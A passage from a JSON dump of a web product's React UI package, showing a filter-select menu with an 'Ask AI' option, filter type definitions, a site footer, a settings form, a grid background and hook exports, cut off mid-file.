selectOption = useCallback(\n    (value: FilterOption[\"value\"]) => {\n      if (selectedFilter) {\n        const isSingleSelect =\n          selectedFilter?.singleSelect ||\n          (!isAdvancedFilter && !selectedFilter?.multiple);\n\n        if (isSingleSelect) {\n          const isSelected = isOptionSelected(value);\n          isSelected\n            ? onRemove(selectedFilter.key, value)\n            : onSelect(selectedFilter.key, value);\n          setIsOpen(false);\n        } else {\n          const isSelected = isOptionSelected(value);\n          if (isSelected) {\n            onRemove(selectedFilter.key, value);\n          } else {\n            onSelect(selectedFilter.key, value);\n          }\n        }\n      }\n    },\n    [selectedFilter, isOptionSelected, onSelect, onRemove, isAdvancedFilter],\n  );\n\n  useEffect(() => {\n    onSearchChange?.(search);\n  }, [search]);\n\n  useEffect(() => {\n    onSelectedFilterChange?.(selectedFilterKey);\n  }, [selectedFilterKey]);\n\n  // If filter is selected and has options, maintain dimensions (for async fetches)\n  useEffect(() => {\n    if (selectedFilter?.options && listContainer.current) {\n      listDimensions.current = {\n        width: listContainer.current.clientWidth,\n        height: listContainer.current.clientHeight,\n      };\n    }\n  }, [selectedFilter?.options]);\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      onEscapeKeyDown={(e) => {\n        if (selectedFilterKey) {\n          e.preventDefault();\n          reset();\n        }\n      }}\n      content={\n        <AnimatedSizeContainer\n          width={!isMobile}\n          height\n          className=\"rounded-[inherit]\"\n          style={{ transform: \"translateZ(0)\" }} // Fixes overflow on some browsers\n        >\n          <Command\n            loop\n            shouldFilter={\n              !selectedFilter || selectedFilter.shouldFilter !== false\n            }\n          >\n            <div className=\"flex items-center overflow-hidden rounded-t-lg border-b border-neutral-200\">\n              <CommandInput\n                placeholder={`${selectedFilter?.label || \"Filter\"}...`}\n                value={search}\n                onValueChange={setSearch}\n                onKeyDown={(e) => {\n                  if (\n                    e.key === \"Escape\" ||\n                    (e.key === \"Backspace\" && !search)\n                  ) {\n                    e.preventDefault();\n                    e.stopPropagation();\n                    selectedFilterKey ? reset() : setIsOpen(false);\n                  }\n                }}\n                onEmptySubmit={(e) => {\n                  e.preventDefault();\n                  e.stopPropagation();\n                  if (askAI) {\n                    onSelect(\n                      \"ai\",\n                      // Prepend search with selected filter label for more context\n                      selectedFilter\n                        ? `${selectedFilter.label} ${search}`\n                        : search,\n                    );\n                    setIsOpen(false);\n                  } else selectOption(search);\n                }}\n              />\n              {!selectedFilter && (\n                <kbd className=\"mr-2 hidden shrink-0 rounded border border-neutral-200 bg-neutral-100 px-2 py-0.5 text-xs font-light text-neutral-500 md:block\">\n                  F\n                </kbd>\n              )}\n            </div>\n            <FilterScroll key={selectedFilterKey} ref={listContainer}>\n              <Command.List\n                className={cn(\n                  \"flex w-full flex-col gap-1 p-1\",\n                  selectedFilter ? \"min-w-[100px]\" : \"min-w-[180px]\",\n                )}\n              >\n                {!selectedFilter\n                  ? // Top-level filters\n                    filters\n                      .filter((filter) => !filter.hideInFilterDropdown)\n                      .map((filter) => (\n                        <Fragment key={filter.key}>\n                          <FilterButton\n                            filter={filter}\n                            onSelect={() => openFilter(filter.key)}\n                          />\n                          {filter.separatorAfter && (\n                            <Command.Separator className=\"-mx-1 my-1 border-b border-neutral-200\" />\n                          )}\n                        </Fragment>\n                      ))\n                  : // Filter options\n                    selectedFilter.options\n                      ?.filter((option) => !search || !option.hideDuringSearch)\n                      ?.map((option) => {\n                        const isSingleSelect =\n                          selectedFilter?.singleSelect ||\n                          (!isAdvancedFilter && !selectedFilter?.multiple);\n                        const isSelected = isOptionSelected(option.value);\n\n                        return (\n                          <FilterButton\n                            key={option.value}\n                            filter={selectedFilter}\n                            option={option}\n                            showCheckbox={\n                              !isSingleSelect &&\n                              (isAdvancedFilter || selectedFilter?.multiple)\n                            }\n                            isChecked={isSelected}\n                            right={\n                              isSingleSelect ? (\n                                isSelected ? (\n                                  <Check className=\"h-4 w-4\" />\n                                ) : (\n                                  option.right\n                                )\n                              ) : (\n                                option.right\n                              )\n                            }\n                            onSelect={() => selectOption(option.value)}\n                          />\n                        );\n                      }) ?? (\n                      // Filter options loading state\n                      <Command.Loading>\n                        <div\n                          className=\"-m-1 flex items-center justify-center\"\n                          style={listDimensions.current}\n                        >\n                          <LoadingSpinner />\n                        </div>\n                      </Command.Loading>\n                    )}\n\n                {/* Only render CommandEmpty if not loading */}\n                {(!selectedFilter || selectedFilter.options) && (\n                  <CommandEmpty\n                    search={search}\n                    selectedFilter={selectedFilter}\n                    onSelect={() => selectOption(search)}\n                    askAI={askAI}\n                  >\n                    {emptyState\n                      ? isEmptyStateObject(emptyState)\n                        ? emptyState?.[selectedFilterKey ?? \"default\"] ??\n                          \"No matching options\"\n                        : emptyState\n                      : \"No matching options\"}\n                  </CommandEmpty>\n                )}\n              </Command.List>\n            </FilterScroll>\n          </Command>\n        </AnimatedSizeContainer>\n      }\n    >\n      <button\n        type=\"button\"\n        className={cn(\n          \"group flex h-10 cursor-pointer appearance-none items-center gap-x-2 truncate rounded-md border px-3 text-sm outline-none transition-all\",\n          \"border-neutral-200 bg-white text-neutral-900 placeholder-neutral-400\",\n          \"focus-visible:border-neutral-500 data-[state=open]:border-neutral-500 data-[state=open]:ring-4 data-[state=open]:ring-neutral-200\",\n          className,\n        )}\n      >\n        <ListFilter className=\"size-4 shrink-0\" />\n        <span className=\"flex-1 overflow-hidden text-ellipsis whitespace-nowrap text-left text-neutral-900\">\n          {children ?? \"Filter\"}\n        </span>\n        {activeFilters?.length ? (\n          <div className=\"flex size-4 shrink-0 items-center justify-center rounded-full bg-black text-[0.625rem] text-white\">\n            {activeFilters.length}\n          </div>\n        ) : (\n          <ChevronDown\n            className={`size-4 shrink-0 text-neutral-400 transition-transform duration-75 group-data-[state=open]:rotate-180`}\n          />\n        )}\n      </button>\n    </Popover>\n  );\n}\n\nfunction isEmptyStateObject(\n  emptyState: ReactNode | Record<string, ReactNode>,\n): emptyState is Record<string, ReactNode> {\n  return (\n    typeof emptyState === \"object\" &&\n    emptyState !== null &&\n    !isValidElement(emptyState)\n  );\n}\n\nconst CommandInput = (\n  props: React.ComponentProps<typeof Command.Input> & {\n    onEmptySubmit?: (e: React.KeyboardEvent<HTMLInputElement>) => void;\n  },\n) => {\n  const { onEmptySubmit, ...restProps } = props;\n  const isEmpty = useCommandState((state) => state.filtered.count === 0);\n  return (\n    <Command.Input\n      {...restProps}\n      size={1}\n      className=\"grow border-0 py-3 pl-4 pr-2 outline-none placeholder:text-neutral-400 focus:ring-0 sm:text-sm\"\n      onKeyDown={(e) => {\n        props.onKeyDown?.(e);\n\n        if (e.key === \"Enter\" && isEmpty) {\n          onEmptySubmit?.(e);\n        }\n      }}\n      autoCapitalize=\"none\"\n    />\n  );\n};\n\nconst FilterScroll = forwardRef(\n  ({ children }: PropsWithChildren, forwardedRef) => {\n    const ref = useRef<HTMLDivElement>(null);\n    useImperativeHandle(forwardedRef, () => ref.current);\n\n    const { scrollProgress, updateScrollProgress } = useScrollProgress(ref);\n\n    return (\n      <>\n        <div\n          className=\"scrollbar-hide max-h-[50vh] w-screen overflow-y-scroll sm:w-auto\"\n          ref={ref}\n          onScroll={updateScrollProgress}\n        >\n          {children}\n        </div>\n        {/* Bottom scroll fade */}\n        <div\n          className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n          style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n        ></div>\n      </>\n    );\n  },\n);\n\nfunction FilterButton({\n  filter,\n  option,\n  right,\n  showCheckbox,\n  isChecked,\n  onSelect,\n}: {\n  filter: Filter;\n  option?: FilterOption;\n  right?: ReactNode;\n  showCheckbox?: boolean;\n  isChecked?: boolean;\n  onSelect: () => void;\n}) {\n  const Icon = option\n    ? option.icon ??\n      filter.getOptionIcon?.(option.value, { key: filter.key, option }) ??\n      filter.icon\n    : filter.icon;\n\n  const label = option\n    ? option.label ??\n      filter.getOptionLabel?.(option.value, { key: filter.key, option })\n    : filter.label;\n\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer items-center gap-3 whitespace-nowrap rounded-md px-3 py-2 text-left text-sm\",\n        \"data-[selected=true]:bg-neutral-100\",\n      )}\n      onSelect={onSelect}\n      value={label + option?.value}\n    >\n      {showCheckbox && (\n        <div\n          className={cn(\n            \"flex h-4 w-4 items-center justify-center rounded border\",\n            isChecked\n              ? \"border-neutral-900 bg-neutral-900\"\n              : \"border-neutral-300\",\n          )}\n        >\n          {isChecked && <Check className=\"h-3 w-3 text-white\" />}\n        </div>\n      )}\n      <span className=\"shrink-0 text-neutral-600\">\n        {isReactNode(Icon) ? Icon : <Icon className=\"h-4 w-4\" />}\n      </span>\n      <span className=\"flex-1\">{truncate(label, 48)}</span>\n      <div className=\"ml-1 flex shrink-0 justify-end text-neutral-500\">\n        {right}\n      </div>\n    </Command.Item>\n  );\n}\n\nconst CommandEmpty = ({\n  search,\n  selectedFilter,\n  onSelect,\n  askAI,\n  children,\n}: PropsWithChildren<{\n  search: string;\n  selectedFilter?: Filter | null;\n  onSelect: () => void;\n  askAI?: boolean;\n}>) => {\n  // If the selected filter has no options (and shouldFilter is true,\n  // meaning it's leveraging Command.List's native filtering and not external/async filtering),\n  // show the search input as an option\n  if (\n    selectedFilter &&\n    selectedFilter.options &&\n    selectedFilter.options.length === 0 &&\n    selectedFilter.shouldFilter !== false\n  ) {\n    if (!search)\n      return (\n        <Command.Empty className=\"p-2 text-center text-sm text-neutral-400\">\n          Start typing to search...\n        </Command.Empty>\n      );\n\n    return (\n      <FilterButton\n        filter={selectedFilter}\n        option={{\n          value: search,\n          label: search,\n        }}\n        onSelect={onSelect}\n      />\n    );\n  }\n\n  // Ask AI option should only be shown if no filter is selected and the user has typed something in the search input\n  if (!selectedFilter && askAI && search) {\n    return (\n      <Command.Empty className=\"flex min-w-[180px] items-center space-x-2 rounded-md bg-neutral-100 px-3 py-2\">\n        <Magic className=\"h-4 w-4\" />\n        <p className=\"text-center text-sm text-neutral-600\">\n          Ask AI <span className=\"text-black\">\"{search}\"</span>\n        </p>\n      </Command.Empty>\n    );\n  }\n\n  return (\n    <Command.Empty className=\"p-2 text-center text-sm text-neutral-400\">\n      {children}\n    </Command.Empty>\n  );\n};\n\nconst isReactNode = (element: any): element is ReactNode =>\n  isValidElement(element);\n"
  },
  {
    "path": "packages/ui/src/filter/index.ts",
    "content": "import { FilterList } from \"./filter-list\";\nimport { FilterSelect } from \"./filter-select\";\n\nconst Filter = { Select: FilterSelect, List: FilterList };\n\nexport { Filter };\n"
  },
  {
    "path": "packages/ui/src/filter/types.ts",
    "content": "import { type FilterOperator } from \"@dub/utils\";\nimport { LucideIcon } from \"lucide-react\";\nimport { ComponentType, ReactNode, SVGProps } from \"react\";\n\ntype FilterIcon =\n  | LucideIcon\n  | ReactNode\n  | ComponentType<SVGProps<SVGSVGElement>>;\n\nexport type { FilterOperator };\n\nexport type Filter = {\n  key: string;\n  icon: FilterIcon;\n  label: string;\n  labelPlural?: string; // Plural form of the label (optional, defaults to pluralize(label))\n  options: FilterOption[] | null;\n  hideInFilterDropdown?: boolean; // Hide in Filter.Select dropdown\n  shouldFilter?: boolean; // Disable filtering for this filter\n  separatorAfter?: boolean; // Add a separator after the filter in Filter.Select dropdown\n  multiple?: boolean; // Allow multiple selection of values\n  hideMultipleIcons?: boolean; // Hide multiple \"stacked icons\" view for the filter (fallback to icon display)\n  singleSelect?: boolean; // Force single-select behavior even if multiSelect is enabled globally\n  hideOperator?: boolean; // Hide the operator dropdown (is/is not) even when multiple is enabled\n  getOptionIcon?: (\n    value: FilterOption[\"value\"],\n    props: { key: Filter[\"key\"]; option?: FilterOption },\n  ) => FilterIcon | null;\n  getOptionLabel?: (\n    value: FilterOption[\"value\"],\n    props: { key: Filter[\"key\"]; option?: FilterOption },\n  ) => string | null;\n  getOptionPermalink?: (value: FilterOption[\"value\"]) => string | null;\n};\n\nexport type FilterOption = {\n  value: any;\n  label: string;\n  right?: ReactNode;\n  icon?: FilterIcon;\n  hideDuringSearch?: boolean;\n  data?: Record<string, any>;\n  permalink?: string;\n};\n\nexport type ActiveFilter = {\n  key: Filter[\"key\"];\n  values: FilterOption[\"value\"][];\n  operator: FilterOperator;\n};\n\nexport type LegacyActiveFilterSingular = {\n  key: Filter[\"key\"];\n  value: FilterOption[\"value\"];\n};\n\nexport type LegacyActiveFilterPlural = {\n  key: Filter[\"key\"];\n  values: FilterOption[\"value\"][];\n};\n\nexport type ActiveFilterInput =\n  | ActiveFilter\n  | LegacyActiveFilterSingular\n  | LegacyActiveFilterPlural;\n\n/**\n * Normalize active filter to the new format with operator support\n * Handles backward compatibility with legacy formats:\n * - { key, value } → { key, values: [value], operator: 'IS' }\n * - { key, values } → { key, values, operator: 'IS' or 'IS_ONE_OF' }\n * - { key, values, operator } → unchanged (already correct)\n */\nexport function normalizeActiveFilter(filter: ActiveFilterInput): ActiveFilter {\n  if (\"operator\" in filter && filter.operator && Array.isArray(filter.values)) {\n    return filter as ActiveFilter;\n  }\n\n  if (\"value\" in filter && !(\"values\" in filter)) {\n    return {\n      key: filter.key,\n      operator: \"IS\" as FilterOperator,\n      values: [filter.value],\n    };\n  }\n\n  if (\n    Array.isArray((filter as any).values) &&\n    (!(\"operator\" in filter) || !filter.operator)\n  ) {\n    const values = (filter as LegacyActiveFilterPlural).values;\n    return {\n      key: filter.key,\n      operator: values.length > 1 ? \"IS_ONE_OF\" : \"IS\",\n      values: values,\n    };\n  }\n\n  return {\n    key: filter.key,\n    operator: \"IS\",\n    values: [],\n  };\n}\n"
  },
  {
    "path": "packages/ui/src/footer.tsx",
    "content": "\"use client\";\n\nimport { cn, createHref } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport Image from \"next/image\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { COMPARE_PAGES, FEATURES_LIST, LEGAL_PAGES } from \"./content\";\nimport { DubStatusBadge } from \"./dub-status-badge\";\nimport {\n  DubProduct,\n  DubProductIcon,\n  Github,\n  LinkedIn,\n  ReferredVia,\n  Twitter,\n  YouTube,\n} from \"./icons\";\nimport { MaxWidthWrapper } from \"./max-width-wrapper\";\nimport { menuItemVariants } from \"./menu-item\";\nimport { NavWordmark } from \"./nav-wordmark\";\nimport { Popover } from \"./popover\";\n\nconst socials = [\n  {\n    name: \"Twitter\",\n    icon: Twitter,\n    href: \"https://twitter.com/dubdotco\",\n  },\n  {\n    name: \"LinkedIn\",\n    icon: LinkedIn,\n    href: \"https://www.linkedin.com/company/dubinc\",\n  },\n  {\n    name: \"GitHub\",\n    icon: Github,\n    href: \"https://github.com/dubinc/dub\",\n  },\n  {\n    name: \"YouTube\",\n    icon: YouTube,\n    href: \"https://www.youtube.com/@dubdotco\",\n  },\n];\n\nconst navigation = {\n  product: [\n    ...FEATURES_LIST.filter(({ title }) => title !== \"Dub Integrations\").map(\n      ({ id, title, href }) => ({\n        id,\n        name: title,\n        href,\n      }),\n    ),\n    { id: null, name: \"Dub Enterprise\", href: \"/enterprise\" },\n  ],\n  solutions: [\n    { name: \"Marketing attribution\", href: \"/analytics\" },\n    { name: \"Content creators\", href: \"/solutions/creators\" },\n    { name: \"Affiliate management\", href: \"/partners\" },\n  ],\n  resources: [\n    { name: \"Docs\", href: \"/docs\" },\n    { name: \"Help Center\", href: \"/help\" },\n    { name: \"Integrations\", href: \"/integrations\" },\n    { name: \"Pricing\", href: \"/pricing\" },\n    {\n      name: \"Affiliates\",\n      href: \"https://partners.dub.co/dub\",\n      target: \"_blank\",\n    },\n  ],\n  company: [\n    { name: \"About\", href: \"/about\" },\n    { name: \"Blog\", href: \"/blog\" },\n    { name: \"Careers\", href: \"/careers\" },\n    { name: \"Changelog\", href: \"/changelog\" },\n    { name: \"Customers\", href: \"/customers\" },\n    { name: \"Brand\", href: \"/brand\" },\n    { name: \"Contact\", href: \"/contact\" },\n    { name: \"Privacy\", href: \"/privacy\" },\n  ],\n  compare: COMPARE_PAGES.map(({ name, slug }) => ({\n    name,\n    href: `/compare/${slug}`,\n    product: \"links\",\n  })).concat(\n    [\"Rewardful\", \"PartnerStack\", \"FirstPromoter\", \"Tolt\"].map((name) => ({\n      name,\n      href:\n        name === \"Rewardful\"\n          ? \"/blog/dub-vs-rewardful\"\n          : `/help/article/migrating-from-${name.toLowerCase()}`,\n      product: \"partners\",\n    })),\n  ),\n};\n\nconst linkListHeaderClassName = \"text-sm font-medium text-neutral-900\";\nconst linkListClassName = \"flex flex-col mt-2.5 gap-3.5\";\nconst linkListItemClassName =\n  \"flex items-center gap-2 text-sm text-neutral-500 hover:text-neutral-700 transition-colors duration-75\";\n\nexport function Footer({\n  staticDomain,\n  className,\n}: {\n  staticDomain?: string;\n  className?: string;\n}) {\n  let { domain = \"dub.co\" } = useParams() as { domain: string };\n  if (staticDomain) {\n    domain = staticDomain;\n  }\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <MaxWidthWrapper\n      className={cn(\n        \"relative z-10 overflow-hidden border border-b-0 border-neutral-200 bg-white/50 py-16 backdrop-blur-lg md:rounded-t-2xl\",\n        className,\n      )}\n    >\n      <footer>\n        <div className=\"xl:grid xl:grid-cols-3 xl:gap-8\">\n          <div className=\"flex flex-col gap-6\">\n            <div className=\"grow\">\n              <Link\n                href={createHref(\"/\", domain, {\n                  utm_source: \"Custom Domain\",\n                  utm_medium: \"Footer\",\n                  utm_campaign: domain,\n                  utm_content: \"Logo\",\n                })}\n                className=\"block max-w-fit\"\n              >\n                <span className=\"sr-only\">\n                  {process.env.NEXT_PUBLIC_APP_NAME} Logo\n                </span>\n                <NavWordmark className=\"h-8 text-neutral-800\" />\n              </Link>\n            </div>\n            <div className=\"flex items-center gap-3\">\n              {socials.map(({ name, icon: Icon, href }) => (\n                <a\n                  key={name}\n                  href={href}\n                  target=\"_blank\"\n                  rel=\"noreferrer\"\n                  className=\"group rounded-full p-1\"\n                >\n                  <span className=\"sr-only\">{name}</span>\n                  <Icon className=\"size-4 text-neutral-900 transition-colors duration-75 group-hover:text-neutral-600\" />\n                </a>\n              ))}\n            </div>\n          </div>\n          <div className=\"mt-16 grid grid-cols-2 gap-4 xl:col-span-2 xl:mt-0\">\n            <div className=\"md:grid md:grid-cols-2\">\n              <div className=\"grid gap-8\">\n                <div>\n                  <h3 className={linkListHeaderClassName}>Product</h3>\n                  <ul role=\"list\" className={linkListClassName}>\n                    {navigation.product.map((item) => (\n                      <li key={item.name}>\n                        <Link\n                          href={createHref(item.href, domain, {\n                            utm_source: \"Custom Domain\",\n                            utm_medium: \"Footer\",\n                            utm_campaign: domain,\n                            utm_content: item.name,\n                          })}\n                          className={linkListItemClassName}\n                        >\n                          {item.id && (\n                            <DubProductIcon product={item.id as DubProduct} />\n                          )}\n                          {item.name}\n                        </Link>\n                      </li>\n                    ))}\n                  </ul>\n                </div>\n                <div>\n                  <h3 className={linkListHeaderClassName}>Solutions</h3>\n                  <ul role=\"list\" className={linkListClassName}>\n                    {navigation.solutions.map((item) => (\n                      <li key={item.name}>\n                        <Link\n                          href={createHref(item.href, domain, {\n                            utm_source: \"Custom Domain\",\n                            utm_medium: \"Footer\",\n                            utm_campaign: domain,\n                            utm_content: item.name,\n                          })}\n                          className={linkListItemClassName}\n                        >\n                          {item.name}\n                        </Link>\n                      </li>\n                    ))}\n                  </ul>\n                </div>\n              </div>\n              <div className=\"mt-10 md:mt-0\">\n                <h3 className={linkListHeaderClassName}>Resources</h3>\n                <ul role=\"list\" className={linkListClassName}>\n                  {navigation.resources.map((item) => (\n                    <li key={item.name}>\n                      <Link\n                        href={createHref(item.href, domain, {\n                          utm_source: \"Custom Domain\",\n                          utm_medium: \"Footer\",\n                          utm_campaign: domain,\n                          utm_content: item.name,\n                        })}\n                        target={item.target}\n                        className={cn(linkListItemClassName, \"gap-1\")}\n                      >\n                        {item.name}\n                        {item.target && <ReferredVia className=\"size-3.5\" />}\n                      </Link>\n                    </li>\n                  ))}\n                </ul>\n              </div>\n            </div>\n            <div className=\"md:grid md:grid-cols-2\">\n              <div className=\"grid gap-8\">\n                <div>\n                  <h3 className={linkListHeaderClassName}>Company</h3>\n                  <ul role=\"list\" className={linkListClassName}>\n                    {navigation.company.map((item) => (\n                      <li key={item.name}>\n                        <Link\n                          href={createHref(item.href, domain, {\n                            utm_source: \"Custom Domain\",\n                            utm_medium: \"Footer\",\n                            utm_campaign: domain,\n                            utm_content: item.name,\n                          })}\n                          className={cn(linkListItemClassName, \"gap-1\")}\n                        >\n                          {item.name}\n                        </Link>\n                      </li>\n                    ))}\n                    <li className=\"-mt-1\">\n                      <Popover\n                        content={\n                          <div className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n                            {LEGAL_PAGES.map((page) => (\n                              <Link\n                                key={page.name}\n                                href={createHref(\n                                  `/legal/${page.slug}`,\n                                  domain,\n                                  {\n                                    utm_source: \"Custom Domain\",\n                                    utm_medium: \"Footer\",\n                                    utm_campaign: domain,\n                                    utm_content: page.name,\n                                  },\n                                )}\n                                className={cn(\n                                  menuItemVariants({ variant: \"default\" }),\n                                  linkListItemClassName,\n                                  \"justify-start font-normal\",\n                                )}\n                              >\n                                {page.name}\n                              </Link>\n                            ))}\n                          </div>\n                        }\n                        openPopover={openPopover}\n                        setOpenPopover={setOpenPopover}\n                      >\n                        <button className={linkListItemClassName}>\n                          Legal\n                          <ChevronDown className=\"size-3.5\" />\n                        </button>\n                      </Popover>\n                    </li>\n                  </ul>\n                </div>\n              </div>\n\n              <div className=\"mt-10 md:mt-0\">\n                <h3 className={linkListHeaderClassName}>Compare</h3>\n                <ul role=\"list\" className={linkListClassName}>\n                  {navigation.compare.map((item) => (\n                    <li key={item.name}>\n                      <Link\n                        href={createHref(item.href, domain, {\n                          utm_source: \"Custom Domain\",\n                          utm_medium: \"Footer\",\n                          utm_campaign: domain,\n                          utm_content: item.name,\n                        })}\n                        className={linkListItemClassName}\n                      >\n                        <DubProductIcon product={item.product as DubProduct} />\n                        {item.name}\n                      </Link>\n                    </li>\n                  ))}\n                </ul>\n              </div>\n            </div>\n          </div>\n        </div>\n\n        {/* Bottom row (status, SOC2, copyright) */}\n        <div className=\"mt-12 grid grid-cols-1 items-center gap-8 sm:grid-cols-3\">\n          <DubStatusBadge />\n          <Link\n            href={createHref(\"/blog/soc2\", domain, {\n              utm_source: \"Custom Domain\",\n              utm_medium: \"Footer\",\n              utm_campaign: domain,\n              utm_content: \"SOC2\",\n            })}\n            className=\"flex sm:justify-center\"\n          >\n            <Image\n              src=\"https://assets.dub.co/misc/soc2.svg\"\n              alt=\"AICPA SOC 2 Type II Certified\"\n              width={63}\n              height={32}\n              className=\"h-8 transition-[filter] duration-75 hover:brightness-90\"\n            />\n          </Link>\n          <p className=\"text-xs text-neutral-500 sm:text-right\">\n            © {new Date().getFullYear()} Dub Technologies, Inc.\n          </p>\n        </div>\n      </footer>\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/form.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { InputHTMLAttributes, ReactNode, useMemo, useState } from \"react\";\nimport { Button } from \"./button\";\n\nexport function Form({\n  title,\n  description,\n  inputAttrs,\n  helpText,\n  buttonText = \"Save Changes\",\n  disabledTooltip,\n  handleSubmit,\n}: {\n  title: string;\n  description: string;\n  inputAttrs: InputHTMLAttributes<HTMLInputElement>;\n  helpText?: string | ReactNode;\n  buttonText?: string;\n  disabledTooltip?: string | ReactNode;\n  handleSubmit: (data: any) => Promise<any>;\n}) {\n  const [value, setValue] = useState(inputAttrs.defaultValue);\n  const [saving, setSaving] = useState(false);\n  const saveDisabled = useMemo(() => {\n    return saving || !value || value === inputAttrs.defaultValue;\n  }, [saving, value, inputAttrs.defaultValue]);\n\n  return (\n    <form\n      onSubmit={async (e) => {\n        e.preventDefault();\n        setSaving(true);\n        await handleSubmit({\n          [inputAttrs.name as string]: value,\n        });\n        setSaving(false);\n      }}\n      className=\"rounded-xl border border-neutral-200 bg-white\"\n    >\n      <div className=\"relative flex flex-col space-y-6 p-6\">\n        <div className=\"flex flex-col space-y-1\">\n          <h2 className=\"text-base font-semibold\">{title}</h2>\n          <p className=\"text-sm text-neutral-500\">{description}</p>\n        </div>\n        {typeof inputAttrs.defaultValue === \"string\" ? (\n          <input\n            {...inputAttrs}\n            type={inputAttrs.type || \"text\"}\n            required\n            disabled={disabledTooltip ? true : false}\n            onChange={(e) => setValue(e.target.value)}\n            className={cn(\n              \"w-full max-w-md rounded-md border border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n              {\n                \"cursor-not-allowed bg-neutral-100 text-neutral-400\":\n                  disabledTooltip,\n              },\n            )}\n          />\n        ) : (\n          <div className=\"h-[2.35rem] w-full max-w-md animate-pulse rounded-md bg-neutral-200\" />\n        )}\n      </div>\n\n      <div className=\"flex flex-col items-start justify-between gap-4 rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-5 py-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0 sm:py-3\">\n        {typeof helpText === \"string\" ? (\n          <p\n            className=\"prose-sm prose-a:underline prose-a:underline-offset-4 hover:prose-a:text-neutral-700 text-neutral-500 transition-colors\"\n            dangerouslySetInnerHTML={{ __html: helpText || \"\" }}\n          />\n        ) : (\n          helpText\n        )}\n        <div className=\"w-fit shrink-0\">\n          <Button\n            text={buttonText}\n            loading={saving}\n            disabled={saveDisabled}\n            disabledTooltip={disabledTooltip}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/grid.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { useId } from \"react\";\n\nexport function Grid({\n  cellSize = 12,\n  strokeWidth = 1,\n  patternOffset = [0, 0],\n  className,\n}: {\n  cellSize?: number;\n  strokeWidth?: number;\n  patternOffset?: [number, number];\n  className?: string;\n}) {\n  const id = useId();\n\n  return (\n    <svg\n      className={cn(\n        \"pointer-events-none absolute inset-0 text-black/10\",\n        className,\n      )}\n      width=\"100%\"\n      height=\"100%\"\n    >\n      <defs>\n        <pattern\n          id={`grid-${id}`}\n          x={patternOffset[0] - 1}\n          y={patternOffset[1] - 1}\n          width={cellSize}\n          height={cellSize}\n          patternUnits=\"userSpaceOnUse\"\n        >\n          <path\n            d={`M ${cellSize} 0 L 0 0 0 ${cellSize}`}\n            fill=\"transparent\"\n            stroke=\"currentColor\"\n            strokeWidth={strokeWidth}\n          />\n        </pattern>\n      </defs>\n      <rect fill={`url(#grid-${id})`} width=\"100%\" height=\"100%\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/index.ts",
    "content": "export * from \"./use-click-handlers\";\nexport * from \"./use-column-visibility\";\nexport * from \"./use-cookies\";\nexport * from \"./use-copy-to-clipboard\";\nexport * from \"./use-current-anchor\";\nexport * from \"./use-current-subdomain\";\nexport * from \"./use-enter-submit\";\nexport * from \"./use-in-viewport\";\nexport * from \"./use-input-focused\";\nexport * from \"./use-intersection-observer\";\nexport * from \"./use-keyboard-shortcut\";\nexport * from \"./use-local-storage\";\nexport * from \"./use-media-query\";\nexport * from \"./use-optimistic-update\";\nexport * from \"./use-pagination\";\nexport * from \"./use-remove-ga-params\";\nexport * from \"./use-resize-observer\";\nexport * from \"./use-router-stuff\";\nexport * from \"./use-scroll\";\nexport * from \"./use-scroll-progress\";\nexport * from \"./use-toast-with-undo\";\n"
  },
  {
    "path": "packages/ui/src/hooks/use-click-handlers.ts",
    "content": "\"use client\";\n\nimport { isClickOnInteractiveChild } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\n\nexport const useClickHandlers = (\n  url: string | undefined,\n  router: ReturnType<typeof useRouter>,\n) =>\n  url\n    ? {\n        onClick: (e: React.MouseEvent<Element, MouseEvent>) => {\n          if (isClickOnInteractiveChild(e)) return;\n          e.metaKey || e.ctrlKey\n            ? window.open(url, \"_blank\")\n            : router.push(url);\n        },\n        onAuxClick: (e: React.MouseEvent<Element, MouseEvent>) => {\n          if (isClickOnInteractiveChild(e)) return;\n          window.open(url, \"_blank\");\n        },\n        role: \"link\",\n        tabIndex: 0,\n        onKeyDown: (e: React.KeyboardEvent<Element>) =>\n          e.target === e.currentTarget && e.key === \"Enter\" && router.push(url),\n      }\n    : {};\n"
  },
  {
    "path": "packages/ui/src/hooks/use-column-visibility.ts",
    "content": "import { VisibilityState } from \"@tanstack/react-table\";\nimport { useLocalStorage } from \"./use-local-storage\";\n\n// Single table configuration\ntype SingleTableConfig = {\n  all: string[];\n  defaultVisible: string[];\n};\n\n// Multi-tab table configuration\ntype MultiTableConfig<T extends string> = Record<T, SingleTableConfig>;\n\n// Type guard for SingleTableConfig\nfunction isSingleTableConfig(config: any): config is SingleTableConfig {\n  return (\n    config &&\n    typeof config === \"object\" &&\n    Array.isArray(config.all) &&\n    Array.isArray(config.defaultVisible)\n  );\n}\n\n// Generic hook for single table\nexport function useColumnVisibility<T extends SingleTableConfig>(\n  storageKey: string,\n  config: T,\n): {\n  columnVisibility: VisibilityState;\n  setColumnVisibility: (visibility: VisibilityState) => void;\n};\n\n// Generic hook for multi-tab table\nexport function useColumnVisibility<T extends string>(\n  storageKey: string,\n  config: MultiTableConfig<T>,\n): {\n  columnVisibility: Record<T, VisibilityState>;\n  setColumnVisibility: (tab: T, visibility: VisibilityState) => void;\n};\n\n// Implementation\nexport function useColumnVisibility<T extends string>(\n  storageKey: string,\n  config: SingleTableConfig | MultiTableConfig<T>,\n):\n  | {\n      columnVisibility: 